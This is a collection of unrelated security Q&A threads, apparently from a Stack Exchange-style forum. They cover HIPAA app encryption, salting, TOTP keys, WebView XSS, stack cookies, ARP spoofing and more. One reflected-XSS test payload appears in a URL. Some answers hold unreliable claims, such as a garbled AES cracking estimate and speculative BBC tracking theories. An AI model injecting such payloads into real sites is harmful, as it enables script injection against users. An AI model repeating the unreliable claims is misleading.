Best way to secure a cross-platform mobile app for HIPAA compliance I'm developing a cross-platform, offline first mHealth application using Ionic 3 and Cordova which may need to be HIPAA compliant in the near future. It uses PouchDB as a client-side DB, HTTPS, at-rest encryption server-side when server-side functions are necessary. The client runs locally unless data needs to be synchronized with users in a group. Synchro services use the backend web services. We use JWT tokens for sessions. Auth0 services for authentication. But, HIPAA being what it is, ... The thought of having to keep my local DB encrypted makes me cringe. Performance would be hosed. What are the best practices for security in mHealth applications?

It's going to depend on the details your specific situation, but I believe encryption on the client may be required in your instance.  The following sample questions are posed by the HSS Technical Safegaurds document:

Which EPHI should be encrypted and decrypted to prevent access by persons or software programs that have not been granted access rights?
What encryption and decryption mechanisms are reasonable and appropriate to implement to prevent access to EPHI by persons or software programs that have not been granted access rights?

The second question in particular is the sticky point.  If you have no way of locking down the access to the folder where the device stores the ePHI, you will need to encrypt the data.  I'm not the must familiar with some of the legal nuance as to what constitutes sufficient access control for software in this situation (i.e. maybe program B can't access the folder under regular conditions, but what if the device gets rooted.), so you're better erring on the side of caution.


Is there a reason why /proc/interrupts is world-readable? Reading this recent research paper on how to use information from /proc/interrupts to attack a system, I was wondering whether there is a particular reason why /proc/interrupts is world-readable. Indeed my Arch Linux machine reports

ls -al /proc/interrupts
-r--r--r-- 1 root root 0 24. Mai 18:03 /proc/interrupts

Does it hurt to make this file readable for root only?

It's world-readable now because it was made world-readable when it was created twenty years ago or so. I haven't researched the history (which probably exists only in Linus Torvalds's head anyway) but it's likely that this file is world-readable because there's no obvious reason to make it so. After all, it doesn't contain any confidential information: just some system configuration and some performance statistics...

The subtlety is that while taking one snapshot of /proc/interrupts is harmless, reading it in a tight loop isn't, because that reveals the rate of keystrokes which in turn leaks quite a bit of information about what was typed.

Side channels didn't get much attention outside of cryptography until a few years ago, when app markets became mainstream and everybody and their grandmother runs code downloaded from shady sites such as the App Store or Google Play. So I'm not surprised that such issues (which already existed on typical multiuser systems in the 1990s) are now getting publicized and studied in more depth in the context of smartphones.

Changing the statu quo isn't an easy decision since the Linux kernel has some very strong backward compatibility leanings. The information in /proc/interrupts is useful when debugging application or driver code or system performance problems.

Restricting access to /proc/interrupts wouldn't block the side channel completely, just one relatively convenient way to observe it. It's also possible to observe keystroke timing by observing when the process that reads them is scheduled, and what an attacker needs to do that is more or less what the top program needs (and displays, if you just increase the default 1Hz refresh rate).


Should I remotely store my salt? When users register on my site, I want to store their username and hashed password in my database. When I hash that password, I'm going to salt it using PHP.

The issue is, I don't want to store the salt in a database that could be compromised - that defeats the purpose of salting, doesn't it?

Instead, I want to have a unique salt per user that is stored on a separate server - say, a cloud platform?

Is this safe/the right way to go?

It is not a problem if the attacker learns the salts. Salts are not meant to be secret. What is important for a salt is that it is unique for each hashed password instance (i.e. not only a unique salt per user, but the user's salt must be changed when the user changes his password).

If you think of your salt as something that may be shared between passwords, but must not be known to the attacker, then that is not a salt; that's a key. Some people call such keys "pepper" in the case of password hashing. This is a concept quite distinct from salts, and, generally speaking, it adds complexity and increases failure frequency without really improving security. Get the basics right first (i.e. using the right function with proper salts).

The normal method is to store the salt along with the hash value. Preferably, you let the password hashing library generate the salt and handle the encoding of the salt and hash value as a single string. So you make sure that you use PHP 5.5 (or newer), and you use password_hash() (and don't use the manual salt setting; the library does the right thing by default, so just let it do it). Among possible password hashing functions, bcrypt is about the best you can have right now, and that's what password_hash() will use.


Using the password, among other values, as key data in two-factor authentication I'm writing an implementation and a thesis about two-factor authentication, and am currently doing some research. I'm currently looking at an implementation for deterministically generating a composite shared key based on certain data, which I will be using for TOTP. M'Raihi, et al specify in RFC 4226 (chapter 8, Composite Shared Secrets, page 14) that a composite shared key:

  "[...] can consist of any data known at the token but not easily
  obtained by others."

They specify the following examples:

  PIN or Password obtained as user input at the token
  Phone number
  Any unique identifier programmatically available at the token

To me this seemed like a reasonably sound way of generating a shared composite key (with some disadvantages that are out of scope for my question). RFC 4226 looks like a solid, high quality, document from a trusted source with writers who have papers about multiple advanced subjects. To me it looks like the writers and document can be trusted to use for safe implementation.

I then ran in to "The Case for Mobile Two-Factor Authentication" (unfortunately requires login/pay, but I have free access to it using my university account) by Dimitri DeFigueiredo, who is a cryptography and security researcher at Adobe.

The document is more a, as the title gives away, case for mobile two-factor authentication. However, he makes a couple of claims that got me interested. Namely the following, which to me seems to contradict RFC 4226 (emphasis mine):

  "By itself, a stolen in-phone token shouldn't provide a way to authenticate an attacker and can't leak the corresponding PIN."

This made me wonder if using a password in a key is really such a good idea. My main question is whether using the password in the composite shared key can leak information about how the shared key is generated. Or worse, completely compromise the security of the key? I know this sort of counts as a whole second question, but: should data that is used for the key be salted/peppered/hashed or does this also compromise security?

As a small note: I don't think I will use the document by DeFigueiredo. He seems to be mixing up PIN's for unlocking phones with two-factor authentication and some other vague statements which make me doubt the quality of the document. On the other hand he has a job at Adobe as cryptography research, so it might be I'm just not getting what he says. Any feedback on the quality of that document would be well appreciated, if anyone has the chance to read it.

The important part of this seems to be the next line in the RFC:

  In this scenario, the composite shared secret K is constructed during
  the provisioning process from a random seed value combined with one
  or more additional authentication factors.

The key data should never be just the data known at that point, but should be derived from it using a strong process, which should ensure that the individual components of a composite key are sufficiently mixed to make reconstruction impossible.

This doesn't necessarily contradict the DeFigueiredo statement - if you used a PIN of 1234, and your tokens were 1234-token1 and 1234-token2, clearly the tokens leak the PIN. If they were MTIzNC10b2tlbjE= and MTIzNC10b2tlbjI=, they still leak it, just slightly less obviously - these are just the base-64 representations of the above tokens. If they were 32e38e71a26e560092e395a02fb85132 and bd7c0c61696eb5716fc866c21246e846, it takes a lot more effort to work out what is going on - in this case, hex representation of the MD2 hash of the above strings. That's not a strong generation process, but it shows the basic principle.

Therefore, if you have a strong generation process, you can put almost anything you want into it, and not leak what went in.


How would someone XSS into a WebView? There are several articles about XSS vulnerabilities in Android/iOS WebViews. By WebView I mean the 'real' webview not SFSafariViewController or Chrome Custom Tabs.

I understand the main concept of XSS.
An example of Client XSS could be: redirecting someone to a URL with a manipulated query string in it. But how would someone start an XSS attack on a WebView?

I can think of one example myself: The app makes use of a deeplink/universal link. With the help of this universal link the app opens and an intent will load the requested page. When a user then clicks on a universal link like https://example.com/openpage/bar?query=<script>alert('XSS');</script> and the developer was really lazy this could result in XSS. But this is pretty easy to counter, and thus is nothing to get too scared about.

Of course server XSS attacks are also possible, but I mean client XSS.

Can you think of any other ways to exploit XSS? Because if the one I mentioned is the only one, I think the risk of an XSS attack on a WebView is minimal.

Let's clear something up first:

  I understand the main concept of XSS; on a regular website it could be achieved by for example redirecting someone to a URL with a manipulated query string in it.

No, XSS is when an attacker can inject code into client side code which is executed client side. The injected code can show an overlay (login screen for phishing purposes), perform requests on behalf of the user (call API endpoints to perform XYZ actions), redirect the user to malicious website etc...

The delivery point can vary. Using the query string in a URL is considered a reflected XSS. But say for example you're able to deliver an XSS payload via a comment on a forum, that's stored/persistent XSS. Check out the OWASP XSS page for more information.

The above explanation is usually explained in the context of a browser. Now WebViews are essentially "embedded browsers" in a mobile application. The above attack scenarios apply to WebViews as well. There's a small variation though!

First, in the context of Android and iOS, there are two types of WebViews: WebViews that essentially launch a new browser (SFSafariViewController on iOS, Chrome Custom Tabs on Android) and traditional WebViews. As far as I understand, the former is more isolated (process/permission wise) than the latter. Accessing "app data" in non-traditional WebViews is therefore harder since it requires sandbox escape exploits. For reference, each app inside Android/iOS have their own user/group ID. The app data for each app can only be accessed by the app itself (sandbox restriction).

Second, WebViews can be hardened by disabling JavaScript entirely. Most interesting XSS payloads are delivered via JS. HTML/CSS payloads can still redirect or change the layout of the webpage though!

Third, since WebViews are part of the app, it means that they can access own local app data via file:// handler. The problem? Browsers and therefore WebViews disallow Cross Origin requests. Meaning that a website served on example.com, cannot make requests to www.evilwebsite.com or file:// unless some CORS headers are set. There's one edge case though: sometimes mobile apps download a webpage via a custom HTTP client, save it locally and then open the saved webpage in a WebView. Now we don't have a Cross Origin issue, and it's possible to access app data. This is however one of those cases where the moon and stars need to align:

Successfully deliver a XSS payload
Vulnerable webpage is used by the mobile app
The mobile app programmatically downloads the page, saves it and displays it in a WebView (cross origin ✅)
Mobile app WebView is configured to allow JavaScript (in Android for example, you need to explicitly enable JS)
Interesting (unencrypted) data needs to be available in app data folder (such as shared preferences file) in order to make this attack viable in the first place.


Using Selenium to automate data entry We have a report that generates ~100 rows daily and our customers have to enter the data into third-party software. We hoped that the software allows some kind of data upload so that our customers don't have to do the tedious data-entry, but it's not happening.
So, we are thinking to provide a solution to our customer by implementing an automated data entry system utilizing Selenium (I'm very new to Selenium). To achieve this, we have to use a real user's credential for login and a SQL connection credential and we came up with these two ideas:

Use Python/Selenium, credentials hardcoded in a separate file, schedule a SQL Server Agent to automatically run this script daily.
Implement a web user interface with C# in Visual Studio, credentials hardcoded in an encrypted web.config file, let user click a button to run the Python/Selenium script. (this will be a semi-automatic option but it gives users flexibility in choosing what to enter)

(We could take user's credential as a parameter to run the tool in order to avoid hard-coding a user's credential.)

I know it can be done but should Selenium be used to automate data entry in the security standpoint?

I would not use Selenium as there is an entire class of scripts called Grease Monkey scripts that automate repetitive user task.  See TamperMonkey for one of many examples.


What are the advantage of running a penetration test through Docker? I was looking at Kali's blog post about its official Docker image, and I was wondering what the real benefits are.  Why would I would run penetration testing through a docker image?  Is it something about automating testing? Is it just because it's clean and easy to setup?

Thank you in advance.

You got it.  The primary benefit comes from having every new engagement start with a known fresh copy.

Everything is set up and ready to go.  You're guaranteed that nothing from previous engagements is still there.  (That could be a serious liability if confidential information leaked from one client to another).

Internally, you could have a tool which spins up a fresh testing platform, scans your network, sends a report, and then shuts down.


What is the attack tree to intercept traffic on Wimax? My current understanding is that sniffing traffic on 4G (lets use Wimax and LTE for the purposes of this question) and 3G is not a simple matter and either requires you setting up a fake base station that people connect to or having insider access to the Carrier (physical or logical)

Here is an article today on Defcon 4G hacking. It does involve installation of an update on Android:
http://seclists.org/fulldisclosure/2011/Aug/76

How difficult is this to do?
Can someone elaborate the attack tree in a relatively abstract or way that is easy for a non mobile technical person to follow?

Question also sparked by the fact I couldn't find a definite source to say the Facebook iPhone and Android apps use TLS.

My current understanding:

I spoke at DefCon about WiMAX security a couple times, and I know coderman pretty well, and the idea is pretty simple. WiMAX femtocells exist, and are not as expensive as you might think. You buy a cell, configure it to look like a clear tower, and people will connect to it, no questions asked. You can then do with them whatever you want.


What's the point of storing an copy of args? (the /gs flag) When you add the /gs argument to microsoft's compiler, it would place a copy of args below the buffer variable.

So, what's the point of keeping a copy of arg?

The /GS option is a heuristic protection against buffer overflow -- some kinds of buffer overflows, and only if they overflow in the "usual way". Visual C supposes that any variable which "looks array-like" may be subject to array-like treatment, and thus possibly overflow. It wants to detect whether an overflow has occurred, and do that before returning from the function, because traditional buffer overflows try to overwrite the return address. To detect such an occurrence, the compiler writes a "cookie" value between the potentially overflowed variable, and the return address; and the code checks that the cookie is still there when it is about to exit the function.

The compiler will do that for all "local variables", and arguments are such local variables. The detection system works only as long as the cookie is between the return address and the variable, so this may imply moving things around, which is what you talk about.

Consider this:

struct foo { int a; int b; int c; int d; };

void f(struct foo arg)
{
    char buf[20];
    // ...
}

In this function, both buf and arg are considered "array-like" (arg is deemed array-like because it is larger than 8 bytes). Remember that when you pass a struct to a C function (the struct itself, not a pointer to a struct) then the function receives a copy of the structure to play with. On the stack, you would find things like this:

buf
return address
arg

(increasing addresses in top-to-bottom order; the x86 stack grows towards low addresses, so "up" in the schema above.)

The "/GS" code will want to add a cookie, and put that cookie between any array-like variable and the return address. Since bytes beyond (below) the return address belong to the caller, the function cannot play with them as much as it would want, so it has to do its job in the free stack space. Thus, the code will want this:

buf
arg (copy of the received structure)
cookie
return address
arg (structure passed as parameter by the caller)

This involves copying the arg structure upon function entry. Since the structure is, semantically, already a copy, that the function can play with at will, the copy does not change the observable behaviour of the function. With this copy, any "normal" overflow on arg will hit the cookie before it overwrites the return address, and thus be (hopefully) detected when the function exits.

I must of course point out that such a protection is effective only if all of the following hold true:

The overflow is on a local variable.
The overflow is toward high addresses (overflow from the array top, not the array bottom).
The overflow is contiguous.
The attacker did not guess the cookie value (otherwise he might overwrite the cookie with the same value).
Damage on variables between the overflowing buffer and the return address are not a problem.

So you should not put too much credit in the effectiveness of such a system.


Checklist for securing MacOSX Is there a checklist for securing MacOSX machines?

DISA STIGs are always good:

http://iase.disa.mil/stigs/os/mac/mac.html

DISA is the Defense Information Systems Agency, the IT shop for the US Department of Defense. STIGs are the configuration guides that they publish for security networking and computing devices.


How do I verify someone's identity if the only method of contact is their email address? Email addresses can be hacked or perhaps even spoofed. I need to pay individuals via paypal and I fear that over time people's email will change or become compromised. How can I ensure I am paying the right individual?

If I ask them to give me a personal password and in return I give them each a unique public key, will that be enough to verify their identity assuming they took precautions to remove the email with the public key and place the key in a secure place?

The target audience will likely be people who have no idea what gpg is. And some would want to remain anonymous. And others would not want to give their mobile number.

Alternatively, is there a there a website that could handle all of this?

Another point on the importance of the question: A thief is one thing, it will annoy me and perhaps even hurt my feelings and rob the intended individual. But there's a more serious threat. If you've paid any attention to the news over the last few years there are certain "people" bent on "causing terror". If it fell into their hands it would put lives at risk. I certainly don't want to be party to that.

"Remaining anonymous" and "verifying identity" are contradictory, aren't they?  I would say if you want to pay someone and guarantee that they get the money, they can't remain anonymous.

  If I ask them to give me a personal password and in return I give them each a unique public key, will that be enough to verify their identity assuming they took precautions to remove the email with the public key and place the key in a secure place?

I see a few problems that might come up:

how would they give you the personal password if not by email? I guess you should better describe where you are starting from with them.
deleting the email immediately does not guarantee safety.
Compromised email accounts can be set up to forward emails to other
accounts.

Usually what you want to achieve is done by communicating the "key" in an out-of-band method such as SMS.  Those who don't want to divulge their number will just have to take the risk of losing their money, I guess.

  If it fell into their hands it would put lives at risk.

That escalated quickly... you will have to explain more the threat you are really guarding against if you want a more helpful answer!


How to initiate the learning process of modern day IT Security concepts mainly cryptography? I am a programmer with about 7 years of experience mainly in Java . I am interested in the subject of cryptography very much . I love algorithms and datastructures . When I first started learning about Algorithms , I found the book Introduction to Algorithms by CLRS really really helpful . Then I picked up Steven Skienna's book - the Algorithm Design Manual which built upon the concepts presented in CLRS.

While studying up on IT Security I would like to do it in a similar systematic way . Can you Gurus please guide me on how to get started with IT Security,mainly cryptography . Any books , resources that I should pick up first before diving into more specific topics ?

Practical Cryptography by Bruce Schneier is an interesting read if you're interested in how cryptography works and the evolution of protocols. It's not a programming reference, which may be good or bad depending on what you are looking to learn.


Good practices for protecting a machine certificate against extraction Consider the following scenario:

You are providing VPN access for a number of machines running Windows 10.
The machines are configured and hardened according to company standards.
You rely on machine certificates for authentication to the VPN gateway.
You want to prevent users (or someone impersonating a legitimate user) from extracting the certificate (and private key) from their machines and transferring it to another machine.
Some of your users need to have a level of permissions sufficient to extract a flat-file certificate/key pair from the machine.

What are good practices to prevent extraction of machine credentials? Approaches that come to mind:

Use the TPM for key storage. Questions here—does Windows support using the TPM as a key store? How much would it take to transfer the TPM hardware itself to a different machine?
Use a USB token for key storage. Question here—tokens are designed to be pluggable; is there an effective way of preventing it from being used on another machine?

You want to prevent users (or someone impersonating a legitimate user) from extracting the certificate (and private key) from their machines

You should use a smart card

The private key is generated by the smart card, and can never leave the smart card (there is no API to "extract" it). Encryption, decryption, signing is done by the chip on the smart card

  tokens are designed to be pluggable; is there an effective way of preventing it from being used on another machine?

If old-school desktops are an option, then you simply lock the computer in a case

  Some of your users need to have a level of permissions sufficient to extract a flat-file certificate/key pair from the machine

Why?


Why must every OTP be unique All OTP systems that I have observed, send a new OTP every time a user requests for an OTP. (for example whatsapp)
Only the latest OTP is valid and an OTP can only be used for X hours.

I am wondering what would be the drawback if I send the same OTP for every user request in the said X hours?

So let us say X = 2, then once an OTP is sent, all further requests for OTP in the next 2 hours would send the same OTP. Any requests after the 2 hours will generate a new OTP.

I have an application where we use OTP. The reason I ask is that sometimes the OTP SMS is delayed, and so user requests for another OTP. Finally when the SMSs do arrive the user is unsure which OTP to use.

The idea behind an OTP is that it can only ever be used once, hence "One Time Pin". If you reuse the same OTP for a certain time period you are not using it only once. The single use is to ensure that a lost of compromised OTP becomes ineffective as soon as a new one is requested.

If your "OTP" that is valid for a certain time period (2 hours in your example) is compromised, the malicious user can use that for that same time period.

Imagine for a moment Alice wants to perform some action on your application that that requires her to enter an OTP - at the time she is working from a coffee shop over Malory's Rouge Access Point. As Alice receives her OTP and enters it, Malory intercepts it and figures out what she can do with it.

Now Malory has 2 hours of freedom to perform any function as Alice (assuming she has the necessary other information to impersonate Alice) using the OTP that is still valid AND even if Alice requests a new OTP, that same compromised OTP will be sent to her, persisting Malory's ability to impersonate Alice.

if it were a single use OTP, Malory would have no use for it from that point onward.


Limiting the root certificate chain I'm playing around with the idea of running a mini-CA with my (hobby) website, likely only used internally with a few select developers for internal emails, client authentication, staging/development server certs etc. I'm reluctant to extend this style of authentication to my more technically minded users as an optional authentication scheme (despite the benefits), simply because it would require users to fully accept my root certificate and thus I could technically MitM their paypal sessions or something. In their shoes, I certainly wouldn't trust examplehobbysite.com as a valid third-party in the validation of the identity of paypal.com (or any other server for that matter), but I could be happy trusting it for client authentication of users on that site (S/MIME and the like, their CN being their site's username or something).

Simply put, is there any way I could create a root certificate that could only be used to issue X.509 certificates to be used for S/MIME, Client Authentication and the like, and not be valid as Server (SSL) Certificates?

In firefox, you can edit the Trust level you give to a certificate. Go to the Advanced options, encryption and in the CA list, click on any certificate and then "Edit Trust".

This gives you some flexibility.


Potential consequences of using "Everyone" to manage permissions? If a web application is set to run using a specific account, could a malicious user do something they shouldn't if I use the "Everyone" account to manage permissions on a folder on the server?  The folder is used by that web application to read/write files.

I probably left something out here, so please let me know if you need more info.

I highly recommend against using "everyone" as this grants permissions to users/people/entities who aren't even part of your domain or user base.

A malicious user can only do what your permissions allow (read, write, modify, etc) however, by using "everyone" you are inadvertently granting access to more people than you may realize.

I recommend creating a local users group and populating that local users group with your domain users group. Then grant the local users group permissions to the data.

Also, assuming this is IIS, the account that the application pool runs as and the account the users actually authenticate to the content as are two different things.


What's more secure? Hard coding credentials or storing them in a database? I wonder which of these things is more secure.

Imagine hard coded credentials, similar to this:

if user.Equals("registereduser") && (password.Equals(encryptedpassword))
{
    Give access to the user

I know this method has big flaws like having to modify the code each time you want to add a new user, and being only usable for a few people that are using the application. But if you know you're just going to have a bunch of people to use it, and that's hardly gonna change, it's not that horrible.

I assume that compiled code is impossible to decompile in reasonable time, and an attacker is not going to look for hard coded passwords in the first place.

Is it more secure to hard code credentials like this? Or is it more secure to use the common method of having the password encrypted in a database?

A few points:

What you mean with encrypting passwords in the DB is hashing. That´s a big big difference.

The first reason why DBs are used instead of hard coding user data is not security, but simplicity
(add/modify/delete users without recompiling etc.)

Storing passwords in plaintext is a problem, doesn't matter if they are in your program or in the DB. Store them hashed and salted (DB and/or program doesn't matter. hash them).

Relying that an attacker won´t expect that your user data is in your program is "security by obscurity" and generally not secure.

Getting strings from a compiled program is far more easy than you think. Without any obfuscation like in your example, it takes not even a minute (and this includes starting an editor and searching manually for the strings). And who says that your program is compiled at all? Eg. PHP...

  Don't try to change established practices if you don't understand the reasons behind it.


Is it possible to spoof the mac address of a wireless adapter so that windows sees the spoofed mac as the physical? I know that its possible to spoof a mac address out to a network. But is it possible to spoof the address, so that the Windows operating system and applications running on Windows see a spoofed address as the physical address for the network card?

Partially, yes. Windows OS (eg. using ipconfig command) sees the spoofed MAC address as the permanent MAC address.

However you can NOT say all of the applications running on Windows will see the spoofed one as the permanent one. Applications might be using some ways to acquire the permanent (burned-in) MAC address of the adapter. (For instance they might be using DeviceIoControl with OID_802_3_PERMANENT_ADDRESS option.) So some applications are harder to be fooled.


How can we estimate the time and computing resources needed to break or crack an encryption algorithm and/or password? I am not too familiar with the technical jargon, so bear with me while I explain the issue in simple and naive words. I have looked into many places but still haven't found a solution to this specific problem. (such as this, or this, etc.)

A bit of (un-)related background:

I have recently come across several articles that outline the unparalleled prowess of GPUs in cracking passwords.

One such article was the use of a 25-GPU cluster to crack any Windows password in about six hours. Another article here claims that one Nvidia GTX 1080 can be 250 times faster than a powerful Intel CPU in cracking passwords.

It is also worth mentioning that a standard crypto-mining farm owns about 500-1000 GPUs.

My question here is twofold, but mainly concerns the endurance of passwords/encryption methods we use right now against future breaks/cracks.

Suppose I send an archive of confidential information to a friend over the Internet (using Google Drive, Torrent, Dropbox, or whatever) and this archive is encrypted using a tool such as VeraCrypt with the three-Cipher cascade of algorithms (e.g. RSA(Serpent(Two-fish))) and a password that is 64 characters in length and contains lowercase, uppercase, numbers, symbols, and has a very high entropy. Now, a very keen hacker gets their hands on the file during the transfer and stores the file "forever", i.e. until they are able to break into it. Probably, they will share the file with their other hacker friends and collectively spread it to many other hackers to work on it.. The assumption is that my file is now spread among many people who are going to retain it until the day they can break into it.

Getting back to the questions; First, I want to understand the relation between time, computing power/resources, and breaking a certain encryption algorithm. How can we become immune to the future? Given that our file is now in the hands of a dozen of hackers who are stubborn enough to store it for many, many decades, how can we estimate when they are going to break into it, taking into account the three encryption algorithms and the strong password we have used and the gradual technological advances (e.g. average improvement in hash rate per year/decade, faster CPUs and GPUs, decrease in price and more people getting their hands on more powerful resources, etc.).

Second, would the results (time and computing power needed) change if we add keyfiles to our encryption process? Will the number become bigger if we add more keyfiles?

First and foremost, I assume you mean AES, not RSA. I also assume integrity is of no concern/is provided in other way, as VeraCrypt does not provide data integrity checks. Furthermore, I assume the attackers only have one version of the data, as XTS is apparently weaker to analysis of changes. I also don't consider side-channels and analysis of the data, as I assume your security is perfect in other areas. All in all, you probably should not use VeraCrypt for file sharing, as there are many problems with it.

Second of all, if you have good enough password, it should not help to have key-files added. Though technically, if I am not mistaken, you may actually want to use 128 characters to achieve the full potential of the three nested ciphers, because each cipher needs 256 bit key, so you want 768 bits of entropy. This is one of the very rare cases where passphrase longer than 64 random characters make sense.

As for cracking the keys using brute force, I don't believe it would be possible before the heat-death of the universe regardless of the advancements in technology and increase in availability. I recently estimated here, that it is possible to crack 14 bit AES key in a day on a good CPU. Getting to even 128 bits seems unfeasible even in decades, without a massive breakthrough. And almost 512 bits are just near impossible. It is currently believed not even quantum computers will actually break these symmetric ciphers.

The other way this may be broken however is breaking of the underlying ciphers. AES-256 already has a known issue, because of which it does not provide full 256 bits of protection. If these ciphers get broken enough (their protection decreases enough, it may be feasible to break this in the far future). However, it is impossible to accurately predict, whether and how much will these ciphers be broken. I would predict, that using three good ciphers should provide protection for at least several decades, probably a lot more. This is simply based on the fact these are already old, popular and well studied and also because there are three of them and all three would have to be weakened significantly.


How to figure out that someone is ARP spoofing me and what to do against it? This is a shared network with a router and 16 users sharing the internet connection.

Why I think someone is arp spoofing:

Suddenly, since this week, I get disconnects regularly. I cannot access the router under 192.168.1.1 nor any website, getting

DNS_PROBE_FINISHED_BAD_CONFIG

Once I restart the router, it works again.

The connection that are already set up, keep working though.
games that I started before, still work, e.g.

http://agar.io/

I have admin access to the router, and tomato is running on it.

My questions

How can I make sure someone is doing arp spoofing?

How can I detect who is doing that?

What can I do against it?

The detect ARP spoofing, you typically capture packets and look for gratuitous ARP advertisements. That way you can also see what device is doing the spoofing.

To defend, you need to configure your device/network with static ARP assignments.


How does LastPass' grid multi-factor authentication work behind the scenes? I understand how to use the Grid multi-factor authentication as a user but how does it work technically? Specifically how can just a few letters from the grid be enough to decrypt any secret defined ahead of time or is this a more traditional challenge-response type of model?

EDIT: Link to
Lastpass Grid Multifactor Authentication

I don't know exactly what you mean by "decrypt any secret defined ahead of time" but it seems that it is a second challenge response system, and the 2nd factor (something you have) is your printed grid.
Technically it works exactly as other similar systems work. On their part of the system, your grid is stored somewhere and is associated with your user identity. When logging in, the system chooses 4 random characters of the grid, you look them up and provide them. If there's a match there and a match on the password part, you are get logged in.

On further implementation details, the grid is nothing more that a 260 character string which is stored along your other details and 4 different characters are chosen each time to be asked.


What *actually* is a Java applets vulnerability? When we say that Java applets are vulnerable, what exactly do we mean? A vulnerability in the underlying jre? In the browser? In the "applet" component?

what exactly is exploited?

Classes of Java Applet vulnerability

Vulnerabilities in the Applets themselves

This would include issues with how the applet is written, such as:

Backdoors
Cross Site Scripting
Cross Site Request Forgery

Vulnerabilities in the Browser and JRE

This would include issues with allowing the running of Java applets, such as:

Ability to track users
Ability to perform malicious actions
Sandbox escapes

Why are Java applets so bad

Trying to sandbox the applets is hard, and as such there will be edge cases allowing sandbox escapes. As most of the things that web pages need to do can be done without adding the extra vulnerabilities, it makes sense to try to disable applets, as this reduces the attack surface.


Simple messaging app with users specifying own keys If I made a simple messaging app which is encrypting messages with some algorithm with a key the user types in the application, and which then sends the encrypted message to another user without storing anything anywhere, and when the recipient user will get the encrypted message he similarly will type in the key in order to encrypt the message. Is there any way to spy on this messages except to break the key itself?

The security of your encryption scheme relies basically on 2 factors.

Security of the devices the app runs on. If the devices are compromised and the attacker can spy on the on-screen keyboard then it is game over because the key is compromised
The secure key exchange to the recipient of the message. In order for it to be considered secure, you need to use a completely different channel to agree on the key. Verbal communication (over which medium? Not the same device!), another device (a PC, maybe?), classical mail?


Cryptowall files found, but nothing encrypted I've got a weird situation here and wanted to see if anyone else has run across this. Windows Security Essentials found Cryptowall on a system here and was able to remove the trojan that causes drops the payload. I've only found the infamous HELP_DECRYPT files in an Adobe PDF folder under program files, but everything seems to be opening properly still. I can open PDFs, Docs, jpgs, etc. with no problem. Does the infection creep in slowly, or can I assume the infection has been taken care of? I took it offline to be on the safe side and am currently running MSS and MBAM as we speak. Thanks for any advice!

In your case, I would backup all my files if it's not already done (It's the only reliable solution against ransom-ware).

According to http://www.sentinelone.com/blog/anatomy-of-cryptowall-3-0-a-look-inside-ransomwares-tactics/ you can look at

  HKCU/Software/(CUUID)/(sorted 2nd half of CUUID)/(FullFilePath) =
  (Volume Serial Number)

And you will see the list of encrypted files if any. Continue scanning your workstation with antivirus solution. You can also launch procexp from Sys Internals and check if you see any wired process running. Click on Options->Verify Image Signatures to be sure that a process is not masquerading as a legit one. Malware are used to be named as Microsoft binaries (svchost or else).

Hope this helps.


Is it possible to detect packet content of encrypted wi-fi transmissions? In the UK there is about to be a change in the law to make on demand/non broadcast television covered under licence fee. This has come with a warning that the enforcement agency has new technology to detect people watching television on iPlayer on their laptops or mobile devices.

So how can the BBC tell if I am using iPlayer?
The BBC has promised not to break encryption or to exploit connections at its end of the network. However, it can monitor information including the size and frequency of packets. While this data would normally be useless to an eavesdropper, but the BBC could manipulate the packets that the iPlayer sends out to see if they match those on a network.

Telegraph article
This seems a bit fishy to me. Aren't IP/TCP packets normally of a uniform size? Since the origin and destination is encrypted wouldn't it be impossible to infer anything since there would be so much noise from other applications? Further, how would they identify the location of the transmissions?

Is it possible [for the BBC organisation] to detect packet content of encrypted wi-fi transmissions?

The answer that question has to really be: who knows what secret capabilities they have?
But in regard to the question of

  can the BBC tell if I am using iPlayer?

In my opinion, yes definitely.
The reconciliation of your geo-location (obtained via your wifi) and your identity on websites has been around for a few years, standardised with the geolocation feature that I believe is part of HTML5 and accessed through javascript (on desktop browsers).
Its this combination of the wifi's geo-location and the fact that you were using this access point while logged into a website that allows the owners of a website to be able say
yes user "big rudy" was on our website and that he is the same person attached to the wifi access point "Toms wifi" located in the upstairs bedroom at 123 Main st, Surrey
 (or wherever it is)

Basically its the technology that enables the dominoes pizza delivery guy to know your exact geo-location after you only have visited the dominoes website.

I'm not saying for sure this is what the BBC are doing to catch unauthorised users on their service but this is to me, the easiest and already "industry standardised" method IMHO.

This is quite an interesting question because at first I thought why don't the BBC request a lookup to the location API provided by the google street view cars?
Again assuming that they have decided to use this technique, Why bother going to all the trouble of doing what google have already done and made available for free?  Then I realised, the reason for the vans, could be to bypass the do you allow this site/application to know your location? pop-over requirement the browsers impose on websites.

The popover is obviously so that you, the user, can decide if the website can know your location, it seems as though the BBC wish to deprive you of that right, but in order to do so, they will have to essentially recreate the geolocation platform that already exists and capture the wifi data themselves.
In case you weren't aware the google street view cars already have been sniffing encrypted wifi packets for a few years now.
Why do they sniff encrypted packets knowing that they will never get any info out of them? They don't want the info, they want the mac addresses and geo-location of the wifi access point. They get your wifi routers location through triangulation based on the strength of the wifi signal (i.e. the street view car is approaching your house and they see an essid of Toms wifi with a signal strength of x, they then make a note of that signal and its geo-location, they get a bit closer to your house and see the signal is now 2x they make a note of that,  then as they go past it gets weaker, they turn a corner and if Toms wifi appears again, they keep updating their data, combine using simple trigonometry (triangulation) and now they have an accurate location of your  - at this point - anonymous wifi access point.
Note: on mobile devices you generally don't need to go to all this work to get a users location, when its easier just to query the builtin GPS, but on laptops and desktops using wifi, the only other location revealing technique is ipaddress which would struggle to even predict your city with any accuracy.

The next piece is to reconcile your  online identity with the wifi access point, I believe this is done by by using an "agent" i.e. a browser - which is already inside your otherwise private network, to query the MAC address of your access point (I suspect this is how its done, but I'm not sure - perhaps someone more knowledgeable could confirm/deny this?) a external service on the internet otherwise couldn't initiate a query/scan of your internal network - your network config wouldn't allow it)

At this point the "agent" (browser) is now capable of performing a lookup to google street view data API - which will then tell it the location of the wifi access point the computer/browser is connected to, then the browser avails this information to the web application via javascript.

Again, this is just my theory, but it seems to me this could be how BBC are tracking their users and why they need the vans.


Authenticating root certificate I'm building a web service and have questions regarding authentication. I have a strict requirement that this application only run on company machines. We have a root certificate this is installed on all the machines in the company. I'm planning to use this certificate for authentication. My idea is - when the client runs on any machine, it fetches this root certificate and sends it to the server. The server only continues processing the request after successful validation. What validations should I perform? Subject name? Thumbprint? Given that it is a root cert, the subject name and issuer are same. How can I ensure this certificate comes from a trusted authority? Also, is this a good approach for authentication? I'm new to this area and looking for any help I can get.

